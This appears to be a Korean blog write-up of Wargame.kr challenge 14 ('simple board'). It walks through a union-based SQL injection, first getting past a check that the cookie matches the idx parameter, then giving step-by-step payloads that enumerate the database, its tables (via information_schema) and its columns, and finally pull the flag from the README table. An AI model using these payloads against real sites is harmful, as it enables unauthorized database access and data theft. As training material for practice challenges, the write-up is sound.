Dyrandy

[Wargame.kr] 워게임 14번 challenge 14 simple board 본문

Wargame WriteUp/WarGame.kr

[Wargame.kr] 워게임 14번 challenge 14 simple board

Dyrandy 2017. 10. 16. 22:51

wargame.kr SimpleBoard

 

먼저 문제를 살펴보면,

 

 

간단한 union sql injection문제라 한다.

정말 간단한지 보면,

 

 

일단 이런 테이블이 보인다.

 

일단 하나 들어가서 url을 보면,

 

이렇게 되어있는데 sql injection이 가능할 것 같다.

 

그래서 소스를 확인해보면,

 

 

위처럼 나와있는데 핵심은 아래다.

 

보면 strpos로 쿠키의 값과 url에 있는 idx값과 같은지 검사를 한다.

 

즉 쿠키값과 url의 idx값이 같아야한다.

 

 

 

먼저 쿠키값을 위와 같인 바꿔주고 url idx에 10 union select 1,2,3,4#를 했다.

 

그랬더니 아래와 같이 떴다.

 

이러면 sql injection이 통하는 것을 알 수 있다.

 

그러므로 우리는 무난하게,

 

10 union select 1,2,3,database()#

를 통해 DB이름을 보고

 

 

10 union select 1,2,3,table_name from information_schema.tables where table_type=0x62617365207461626c65#

 

를 통해 TABLE이름을 보고, 참고로 0x62617365207461626c65는 base table이다.

 

 

10 union select 1,2,3,column_name from information_schema.columns where table_name=0x524541444d45#

 

를 통해 column을 뽑는다. 0x524541444d45는 README다.

 

마지막으로

 

10 union select 1,2,3,flag from README#

 

를 하면

 

 

 

Comments